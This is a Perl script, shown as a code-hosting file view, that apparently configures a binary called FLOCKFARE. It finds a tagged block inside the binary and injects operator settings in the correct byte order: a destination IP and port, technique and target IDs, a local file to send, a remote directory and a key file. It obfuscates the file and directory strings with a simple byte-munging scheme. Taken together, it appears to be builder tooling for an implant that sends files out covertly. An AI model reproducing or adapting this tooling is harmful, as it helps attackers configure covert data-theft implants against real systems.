598 lines
18 KiB
Perl
Executable file
598 lines
18 KiB
Perl
Executable file
#!/usr/bin/env perl
|
|
myinit();
|
|
progprint(sprintf("Looking for head+${datasize}bytes+tail of:
|
|
|
|
0x%s+${datasize}bytes+0x%s\n\n",$headtag,$tailtag));
|
|
TRYAGAIN:
|
|
close(OUT);
|
|
if ($outfile) {
|
|
open(OUT,">$outfile") or mydie("Cannot open >$outfile: $!");
|
|
binmode(OUT);
|
|
select OUT;
|
|
$|=1 ;
|
|
}
|
|
close(IN);
|
|
open(IN,"<$infile") or mydie("Cannot open <$infile: $!");
|
|
binmode(IN);
|
|
select(STDOUT);
|
|
my $bytes=0 ;
|
|
if ($tryagain) {
|
|
# On the first attempt the head+${datasize}bytes+tail straddled
|
|
# a 2048 chunk so skip ahead $datasize/2 bytes this time and it won't.
|
|
read(IN,$buf,$tryagain*($datasize/2)) ;
|
|
print OUT $buf if $outfile ;
|
|
$bytes += length($buf);
|
|
mydie("Failed ${tryagain}th pass--only $bytes bytes, should be ".$tryagain*($datasize/2))
|
|
if ($bytes != $tryagain*($datasize/2)) ;
|
|
}
|
|
my $blocks = 0;
|
|
my $foundit = 0 ;
|
|
my $done = 0;
|
|
my $oldargs = "" ;
|
|
while (read(IN,$buf,2048)) {
|
|
if (!$done) {
|
|
for ($j=0;$j <= length($buf)-12;$j++) {
|
|
$chunk = chunkof($buf,$j) ;
|
|
if ($chunk eq $headtagpacked) {
|
|
if ($j + $datasize + 12 + 1 > length($buf)) {
|
|
$tryagain++;
|
|
mywarn("Header but not footer in current buf. Trying again ".
|
|
$tryagain*($datasize/2).
|
|
" bytes into the file...");
|
|
goto TRYAGAIN;
|
|
}
|
|
$tailchunk = chunkof($buf,$j+12+$datasize) ;
|
|
unless ($tailchunk eq $tailtagpacked) {
|
|
mywarn("\n\a\nHmmm...odd. Found header but $datasize bytes after ".
|
|
"is NOT footer...still looking.");
|
|
next;
|
|
}
|
|
$foundit++ ;
|
|
$newbuf = substr($buf,0,$j) ;
|
|
$oldargsfixed = substr($buf,$j+12,$fixedsize);
|
|
my $endianstr = unpack("H8",$oldargsfixed);
|
|
if (lc $endianstr eq "201020a3") {
|
|
$bigendian=0;
|
|
} else {
|
|
$bigendian=1;
|
|
}
|
|
#fudge as a test
|
|
if ($ENV{FORCEBIGENDIAN}) {
|
|
unless ($bigendian) {
|
|
$bigendian=1;
|
|
mywarn("Forcing BIGENDIAN mode despite presets.endian=$endianstr\n".
|
|
"indicating otherwise. USE FOR DEBUGGING ONLY---DO NOT RUN THIS $outfile");
|
|
}
|
|
}
|
|
$littleendian=!$bigendian;
|
|
my $which = "big";
|
|
if ($littleendian) {
|
|
$which = "little";
|
|
}
|
|
my $output = "endianstr=$endianstr -- we are looking at a ${which}endian file";
|
|
progprint($output);
|
|
$oldargs = $oldargsfixed;
|
|
$oldargs .= substr($buf,$j+12+$fixedsize,$varsize);
|
|
$oldargsascii = unpack("H*",$oldargs) ;
|
|
if ($outfile) {
|
|
$newargs = $newargsbig if $bigendian;
|
|
$newbuf .= $headtagpacked.$oldargsfixed.$newargs.$tailtagpacked;
|
|
$newbuf .= substr($buf,length($newbuf)) ;
|
|
mydie("LENGTH IS WRONG--should never happen")
|
|
if (length($newbuf) != length($buf)) ;
|
|
$buf = $newbuf ;
|
|
}
|
|
$done++ ;
|
|
last;
|
|
}#if found header
|
|
}#for each chunk of data
|
|
}#if !$done
|
|
print OUT $buf if $outfile ;
|
|
$bytes += length($buf);
|
|
$blocks++ ;
|
|
}
|
|
close(IN);
|
|
close(OUT);
|
|
chmod(0755,$outfile) if ($outfile and -e $outfile) ;
|
|
select STDOUT ;
|
|
if ($foundit) {
|
|
my $cmp = ";cmp $infile $outfile" if $outfile ;
|
|
my $tmp=`ls -alL $infile $outfile;md5sum $infile $outfile$cmp`;
|
|
progprint("We found it at $bytes+$j bytes ($blocks blocks of 2048):\n\n$COLOR_NOTE".
|
|
$tmp,
|
|
$COLOR_SUCCESS);
|
|
if (!$outfile) {
|
|
my $len = length($oldargs);
|
|
progprint("$len bytes of hex arguments in ${infile} between colons\n".
|
|
"::$COLOR_NOTE${oldargsascii}${COLOR_NORMAL}::\n");
|
|
progprint("ASCII arguments in ${infile} between colons\n".
|
|
"::$COLOR_NOTE${oldargs}${COLOR_NORMAL}::\n");
|
|
}
|
|
} else {
|
|
unlink($outfile);
|
|
mydie("\n\nNEVER FOUND head+${datasize}bytes+tail in $infile. ABORTING!\n\n\a");
|
|
}
|
|
|
|
sub mydie {
|
|
progprint("@_\n",1);
|
|
exit 1;
|
|
}#mydie
|
|
|
|
sub mywarn {
|
|
progprint("@_",1);
|
|
}#mywarn
|
|
|
|
sub chunkof {
|
|
# returns 12 byte chunk of $buf at $j
|
|
local($buf,$j) = (@_);
|
|
my $ans ;
|
|
$ans = pack("a12",substr($buf,$j));
|
|
return $ans ;
|
|
}#chunkof
|
|
|
|
sub myinit {
|
|
use File::Basename ;
|
|
$COLOR_SUCCESS="\033[5;42m";
|
|
$COLOR_SUCCESS="\033[3;32m";
|
|
$COLOR_FAILURE="\033[1;31m";
|
|
$COLOR_WARNING="\033[1;33m";
|
|
$COLOR_NORMAL="\033[0;39m";
|
|
$COLOR_NOTE="\033[0;34m";
|
|
$prog = basename $0 ;
|
|
$version="1.0.1.1";
|
|
$versiontext = "$prog version $version\n" ;
|
|
$headtag = "379db90700884206d15b987d";
|
|
$tailtag = "23fa6509500ca4bab4f53e21";
|
|
$datasize = 1332;
|
|
$fixedsize = 8;
|
|
$varsize = $datasize-$fixedsize;
|
|
$headtagpacked = pack("H*",$headtag) ;
|
|
$tailtagpacked = pack("H*",$tailtag) ;
|
|
$infile = shift(@ARGV);
|
|
$opt_h = ($infile eq "-h" or !$infile);
|
|
$opt_v = ($infile eq "-v");
|
|
$infile = shift(@ARGV) if ($opt_h or $opt_v);
|
|
$outfile = shift(@ARGV) unless ($ARGV[0] =~ /^-/);
|
|
$outfile = "$infile.new" unless $outfile ;
|
|
$checkinside = $infile ? 1 : 0 ;
|
|
$newargs = "" ;
|
|
# Now parse through remaining arguments and set variables accordingly
|
|
# DEFAULTS that we can set before parsing @ARGV
|
|
# $sourcedir = ".";
|
|
if (@ARGV) {
|
|
while (my $arg = shift(@ARGV)) {
|
|
mydie("No arguments can contain whitespace.")
|
|
if ($arg =~ /\s/) ;
|
|
if ($arg eq "ZERO") {
|
|
$newargs = "ZERO";
|
|
last;
|
|
}
|
|
if ($arg =~ /^-/) {
|
|
if ($arg =~ /^-I(P){0,1}(\S+){0,1}/i) {
|
|
if ($2) {
|
|
$ip = $2;
|
|
} else {
|
|
$ip = shift(@ARGV);
|
|
}
|
|
mydie("Malformed IP value \"$ip\" in \"$arg $ip\"")
|
|
unless ipcheck($ip);
|
|
} elsif ($arg =~ /^-M(\S+){0,1}/i) {
|
|
#???? or $arg =~ /^-T(ECHID){0,1}(\S+){0,1}/i) {
|
|
if ($2) {
|
|
$techniqueid = $2;
|
|
} else {
|
|
$techniqueid = shift(@ARGV);
|
|
}
|
|
if ($techniqueid =~ /^\d+$/) {
|
|
my $ans = getinput("Is TECHNIQUEID (-M) $techniqueid Hex or Decimal?","H","D");
|
|
$techniqueid = hex($techniqueid) if ($ans =~ /^h/i);
|
|
} elsif ($techniqueid =~ /^(0x){0,1}[\da-f]+$/i) {
|
|
$techniqueid = hex($techniqueid);
|
|
} else {
|
|
mydie("Malformed TECHNIQUEID (-M) value \"$techniqueid\" in \"$arg $techniqueid\"");
|
|
}
|
|
} elsif ($arg =~ /^-A(\S+){0,1}/i) {
|
|
# ??? or $arg =~ /^-T(ECHID){0,1}(\S+){0,1}/i) {
|
|
if ($2) {
|
|
$targetid = $2;
|
|
} else {
|
|
$targetid = shift(@ARGV);
|
|
}
|
|
if ($targetid =~ /^\d+$/) {
|
|
my $ans = getinput("Is TARGETID (-A) $targetid Hex or Decimal?","H","D");
|
|
$targetid = hex($targetid) if ($ans =~ /^h/i);
|
|
} elsif ($targetid =~ /^(0x){0,1}[\da-f]+$/i) {
|
|
$targetid = hex($targetid);
|
|
} else {
|
|
mydie("Malformed TARGETID (-A) value \"$targetid\" in \"$arg $targetid\"");
|
|
}
|
|
} elsif ($arg =~ /^-P(ORT){0,1}(\S+){0,1}/i) {
|
|
if ($2) {
|
|
$port = $2;
|
|
} else {
|
|
$port = shift(@ARGV);
|
|
}
|
|
mydie("Malformed PORT value \"$port\" in \"$arg $port\"")
|
|
unless ( $port =~ /^\d+$/ and
|
|
$port > 0 and
|
|
$port < 65536
|
|
);
|
|
} elsif ($arg =~ /^-F(ILE){0,1}(\S+){0,1}/i) {
|
|
if ($2) {
|
|
$datafile = $2;
|
|
} else {
|
|
$datafile = shift(@ARGV);
|
|
}
|
|
mydie("Malformed FILE value \"$datafile\" in \"$arg $datafile\" (no / or whitespace)")
|
|
if ($datafile =~ /\// or
|
|
$datafile =~ /\s/
|
|
);
|
|
} elsif ($arg =~ /^-S(OURCE){0,1}(\S+){0,1}/i) {
|
|
if ($2) {
|
|
$sourcedir = $2;
|
|
} else {
|
|
$sourcedir = shift(@ARGV);
|
|
}
|
|
$sourcedir =~ s/\/+$// ;
|
|
} elsif ($arg =~ /^-D(EST){0,1}(\S+){0,1}/i) {
|
|
if ($2) {
|
|
$destdir = $2;
|
|
} else {
|
|
$destdir = shift(@ARGV);
|
|
}
|
|
mydie("Malformed DEST value \"$destdir\" in \"$arg $destdir\"")
|
|
if ( $destdir =~ /\s/
|
|
);
|
|
} elsif ($arg =~ /^-K(EY){0,1}(\S+){0,1}/i) {
|
|
if ($2) {
|
|
$keyfile = $2;
|
|
} else {
|
|
$keyfile = shift(@ARGV);
|
|
}
|
|
} else {
|
|
mydie("Unrecognized argument: $arg");
|
|
}
|
|
} else {
|
|
mydie("Malformed command line at \"$arg\"");
|
|
}
|
|
}#while (@ARGV)
|
|
# SET DEFAULTS
|
|
$port = 25 unless $port;
|
|
$destdir = "" unless $destdir;
|
|
# MAKE SURE WE HAVE WHAT WE NEED
|
|
mydie("Missing required -IP argument")
|
|
unless $ip;
|
|
mydie("Missing required TECHNIQUEID (-M) argument")
|
|
unless $techniqueid;
|
|
mydie("Missing required TARGETID (-A) argument")
|
|
unless $targetid;
|
|
mydie("Missing required -PORT argument")
|
|
unless $port;
|
|
# mydie("Missing required -FILE argument")
|
|
# unless $datafile;
|
|
# mydie("Missing required -SOURCE argument")
|
|
# unless $sourcedir;
|
|
mydie("Missing required -KEY argument")
|
|
unless $keyfile;
|
|
if (!(-e $keyfile) and (-f "$sourcedir/$keyfile")) {
|
|
$keyfile = "$sourcedir/$keyfile";
|
|
}
|
|
mydie("KEY file \"$keyfile\" in \"$arg $keyfile\" NOT FOUND")
|
|
unless (-f $keyfile);
|
|
# OK, we have all good args, so we're not just showing contents
|
|
$checkinside = 0;
|
|
}
|
|
|
|
my $zeroed = 0 ;
|
|
# Pad the $newargs with nulls, also truncate to $varsize if they're long
|
|
$newargs = substr(pack("a$datasize",$newargs),0,$varsize);
|
|
$newhexascii = unpack("H*",$newargs) ;
|
|
if ($outfile eq "ZERO" or $newargs =~ /ZERO/) {
|
|
$zeroed = 1;
|
|
$outfile = "$infile.ZEROED" if ($outfile eq "ZERO") ;
|
|
$checkinside = 0 ;
|
|
$newargs = "" ;
|
|
$newargs = substr(pack("a$varsize",$newargs),0,$varsize);
|
|
$newhexascii = unpack("H*",$newargs) ;
|
|
} else {
|
|
if ($opt_h or $opt_v) {
|
|
$newargs = pack("a$varsize",0);
|
|
} else {
|
|
# NOTE: This one assumes little-endian for now--we don't know what
|
|
# the file we're dealing with is yet.
|
|
$bigendian=1;
|
|
$newargsbig = buildbinaryargs($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile);
|
|
$bigendian=0;
|
|
$newargs = buildbinaryargs($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile);
|
|
}
|
|
}
|
|
mywarn("Arguments too long (".length($newargs).
|
|
" chars). Truncated to ${varsize}.")
|
|
if (length($newargs) > $varsize) ;
|
|
(my $zeros) = $newhexascii =~ /(00000+)$/ ;
|
|
my $len = length($zeros) ;
|
|
if ($len > 0) {
|
|
$len = "$len " ;
|
|
} else {
|
|
$len = "";
|
|
}
|
|
$newhexascii =~ s/00000+$/000000(${len}zeroes to end of buffer...)/ ;
|
|
$usagetext = "
|
|
Usage: $prog infile [outfile] [FLOCKFARE-args]
|
|
|
|
outfile defaults to infile.new. If provided, outfile must not start
|
|
with a \"-\" or contain whitespace.
|
|
|
|
If \"ZERO\" is given as the only FLOCKFARE-args argument, the arguments
|
|
in infile are zeroed out.
|
|
|
|
If no FLOCKFARE-args argument is given, the arguments in infile are
|
|
found and shown in hexidecimal.
|
|
|
|
The FLOCKFARE-args provided are injected into infile if it is a valid
|
|
FLOCKFARE binary (i.e., has the right head/tail tags in it). Valid
|
|
FLOCKFARE arguments include the same that can be provided to FLOCKFARE
|
|
server via the command line, namely (and these are case insensitive,
|
|
and all can be abbreviated to their first letter):
|
|
|
|
-IP Specifies the destination I.P. address
|
|
-M Specifies the TECHNIQUE ID
|
|
-A Specifies the TARGET ID
|
|
-PORT Specifies the port number (default = 25)
|
|
-FILE Specifies the local file to be sent
|
|
-SOURCE Specifies the local directory the file is in
|
|
-DEST Specifies the remote directory
|
|
-KEY Specifies the keyfile to use (default = .fizzle)
|
|
|
|
Every argument requires its own \"-\", preceeded by a space and followed
|
|
by its value (no spaces in file or directory names are allowed). E.g.,
|
|
either of these is valid and they are equivalent:
|
|
|
|
-IP1.2.3.4 -P23 -Filefoo -DESTBAR
|
|
-IP 1.2.3.4 -PORT 23 -File foo -Dest BAR
|
|
|
|
Injection consists of locating the correct place in the binary, then
|
|
placing the arguments provided into infile at that location and in the
|
|
correct endian order (infile is examined to determine its endian-ness).
|
|
The correct place is found between fixed header and footer tags above
|
|
and below the data location:
|
|
|
|
\t\t0x$headtag and
|
|
\t\t0x$tailtag
|
|
|
|
" ;
|
|
usage() if ($opt_h or $opt_v);
|
|
progprint("Argument parsing complete and error checks passed thus far");
|
|
my $injected = sprintf "
|
|
\t IP : %s
|
|
\t TECHNIQUEID : %8d == 0x%08x
|
|
\t TARGETID : %8d == 0x%08x
|
|
\t PORT : %8d == 0x%08x
|
|
\t DATA FILE : %s
|
|
\t SOURCE DIR : %s
|
|
\t DEST DIR : %s
|
|
\t KEYFILE : %s
|
|
",
|
|
$ip,$techniqueid,$techniqueid,$targetid,$targetid,$port,$port,
|
|
$datafile,$sourcedir,$destdir,$keyfile ;
|
|
|
|
if ($checkinside) {
|
|
mywarn("No content provided to inject--looking for what's in there") ;
|
|
$outfile = "";
|
|
progprint("Looking in: $infile");
|
|
} else {
|
|
if ($zeroed) {
|
|
progprint("Injecting: NULLS");
|
|
} else {
|
|
# progprint("Injecting: \t".asciiclean($newargs));
|
|
# progprint("Injecting this:\n".hexprint($newargs));
|
|
# progprint("Injecting: \t$newargs");
|
|
progprint("Injecting (binary for structure containing): \t$injected");
|
|
}
|
|
progprint("Into file: \t$infile");
|
|
progprint("To build file:\t$outfile");
|
|
}
|
|
}#myinit
|
|
|
|
sub usage {
|
|
print $usagetext unless ($opt_v) ;
|
|
print $versiontext ;
|
|
print "\nFATAL ERROR: @_\n" if ( @_ );
|
|
exit;
|
|
}#usage
|
|
|
|
sub progprint {
|
|
local ($what,$color,$color2,$what2) = (@_,"","","") ;
|
|
my $where = "STDOUT";
|
|
my $crs = "" ;
|
|
my $tmp ;
|
|
while ($tmp = substr($what,0,1)) {
|
|
if ($tmp eq "\n") {
|
|
$crs .= $tmp;
|
|
$what = substr($what,1);
|
|
} else {
|
|
last;
|
|
}
|
|
}
|
|
# $color = $COLOR_NOTE unless $color ;
|
|
if ($color eq "1") {
|
|
$color = $COLOR_FAILURE;
|
|
$where = "STDERR";
|
|
}
|
|
$color2 = $color unless $color2 ;
|
|
$what2 = "$what2 " if ($what2) ;
|
|
print $where "$crs$color2${prog}[$$]: $what2${color}$what$COLOR_NORMAL\n" ;
|
|
}# progprint
|
|
|
|
sub buildbinaryargs {
|
|
local ($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile)
|
|
= (@_);
|
|
my $key;
|
|
my $string = undef;
|
|
# use_pre (I set) 4
|
|
$string .= pack("l1",1); # set to true
|
|
|
|
# lp_addr (user sets) 4
|
|
$string .= pack("V1",inet_aton($ip));
|
|
# lp_port (user sets) 2
|
|
if ($bigendian) {
|
|
$string .= pack("n1",$port);
|
|
} else {
|
|
$string .= pack("v1",$port);
|
|
}
|
|
|
|
# techniqueid (user sets) 2
|
|
if ($bigendian) {
|
|
$string .= pack("n1",$techniqueid);
|
|
} else {
|
|
$string .= pack("v1",$techniqueid);
|
|
}
|
|
|
|
# targetid (user sets) 4
|
|
if ($bigendian) {
|
|
$string .= pack("N1",$targetid);
|
|
} else {
|
|
$string .= pack("V1",$targetid);
|
|
}
|
|
|
|
# fname (user sets) 256
|
|
$string .= strmunge($datafile,256);
|
|
|
|
# dirname (user sets) 256
|
|
$string .= strmunge($sourcedir,256);
|
|
|
|
# destination (user sets) 256
|
|
$string .= strmunge($destdir,256);
|
|
|
|
# key (user sets) 540 (see below)
|
|
# trailer 1-3 (fixed)
|
|
my $what;
|
|
if (-s $keyfile == 536) {
|
|
my ($data,$count) = ();
|
|
# keyfile is binary, suck it in as-is
|
|
open(IN,"<$keyfile") or
|
|
mydie("Unable to open $keyfile");
|
|
$what = "binary file $keyfile";
|
|
} else {
|
|
# keyfile is ascii, run buildkeys on it to stdout, suck that in
|
|
unless (`which buildkeys 2>/dev/null`) {
|
|
mydie("buildkeys not in PATH--required to read in ascii key file $keyfile");
|
|
}
|
|
open(IN,"buildkeys -b $keyfile |")
|
|
or mydie("Cannot open execution of: buildkeys -b $keyfile as input");
|
|
$what = "output of: buildkeys -b $keyfile";
|
|
}
|
|
binmode(IN) or mydie("Unable to set IN to binmode");
|
|
my $count = read(IN,$data,536);
|
|
mydie("ERROR: Read in $count bytes from $what -- should be 536")
|
|
unless ($count == 536);
|
|
close(IN);
|
|
# NOTE: we pack here to 540 bytes, buffer has a bit of room to spare
|
|
$string .= pack("a540",$data);
|
|
# this for debugginb...like Presets.h
|
|
# $string .= pack("a540","key");
|
|
return $string;
|
|
}#buildbinaryargs
|
|
|
|
sub inet_aton {
|
|
local ($ip) = (@_);
|
|
my @octets = split(/\./,$ip);
|
|
return undef if (!ipcheck($ip) or @octets > 4);
|
|
my $val = 0;
|
|
foreach (@octets) {
|
|
$val = 256*$val + $_;
|
|
}
|
|
return $val;
|
|
}#inet_aton (does IO::Socket have this already?)
|
|
|
|
sub inet_ntoa {
|
|
local ($val) = (@_);
|
|
my ($count,@octets) = ();
|
|
while ($val) {
|
|
my $octet = $val & 0xff;
|
|
$count++;
|
|
unshift(@octets,$octet);
|
|
$val = $val >> 8;
|
|
return "ERR" if ($val and @octets >= 4);
|
|
}
|
|
unshift(@octets,0) while ($count++<4);
|
|
return join(".",@octets);
|
|
}#inet_ntoa (does IO::Socket have this already?)
|
|
|
|
sub ipcheck {
|
|
# returns 1 iff $ipstr is in dotted decimal notation with each
|
|
# octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid)
|
|
my $maxval=255;
|
|
my $minval=0;
|
|
while ($_[$#_] =~ /no/) {
|
|
if ($_[$#_] =~ /no255/) {
|
|
pop(@_);
|
|
$maxval=254;
|
|
}
|
|
if ($_[$#_] =~ /no0/) {
|
|
pop(@_);
|
|
$minval=1;
|
|
}
|
|
}
|
|
local($ipstr,$minoctets,$maxoctets) = @_;
|
|
$minoctets=abs(int($minoctets)) if defined $minoctets;
|
|
$maxoctets=abs(int($maxoctets)) if defined $maxoctets;
|
|
unless($minoctets) {
|
|
$minoctets=4 ;
|
|
}
|
|
unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) {
|
|
$maxoctets=4;
|
|
}
|
|
# strip trailing "." if partial IPs allowed
|
|
$ipstr =~ s/\.$// if ($maxoctets < 4) ;
|
|
# need -1 in following split to keep null trailing fields (to reject "1.2.3.4.")
|
|
my @octets=split(/\./,$ipstr,-1);
|
|
return 0 if (@octets < $minoctets or @octets > $maxoctets);
|
|
foreach (@octets) {
|
|
# return 0 if (empty or nondigits or <0 or >$maxval)
|
|
return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval);
|
|
# next line allows partial IPs ending in ".", ignore last
|
|
return 0 if ($minoctets == 4 and $_ eq "");
|
|
}
|
|
return 1;
|
|
} #ipcheck
|
|
|
|
sub strmunge {
|
|
# $e = ($c*53)&0xff to munge
|
|
# $c = ($e*29)&0xff to unmunge
|
|
local($str,$len) = (@_);
|
|
$len = 256 unless $len;
|
|
my @newstr = ();
|
|
for ($i = 0 ; $i < length($str) ; $i++) {
|
|
push(@newstr, (53 * ord(substr($str,$i,1))) & 0xff);
|
|
}
|
|
# why 'c' here and not 'a'? Don't care, this works.
|
|
return pack("c$len",@newstr);
|
|
}#strmunge
|
|
|
|
sub getinput {
|
|
local($prompt,$default,@allowed) = @_;
|
|
local($ans,$tmp,%other) = ();
|
|
$other{"Y"} = "N" ; $other{"N"} = "Y" ;
|
|
if ($other{$default}) {
|
|
push(@allowed,$other{$default}) ;
|
|
}
|
|
chomp($default);
|
|
SUB: while (1) {
|
|
print STDERR $prompt;
|
|
if ($default) {
|
|
print STDERR " [$default] ";
|
|
} else {
|
|
print STDERR " ";
|
|
}
|
|
chomp($ans = <STDIN>);
|
|
$ans = $default if ( $ans eq "" );
|
|
last SUB if ($#allowed < 0) ;
|
|
foreach ($default,@allowed) {
|
|
last SUB if $ans =~ /^$_/i ;
|
|
}
|
|
print STDERR "\n\a${COLOR_FAILURE}Invalid response.\n$COLOR_NORMAL\n";
|
|
sleep 1;
|
|
}
|
|
return $ans;
|
|
} # getinput
|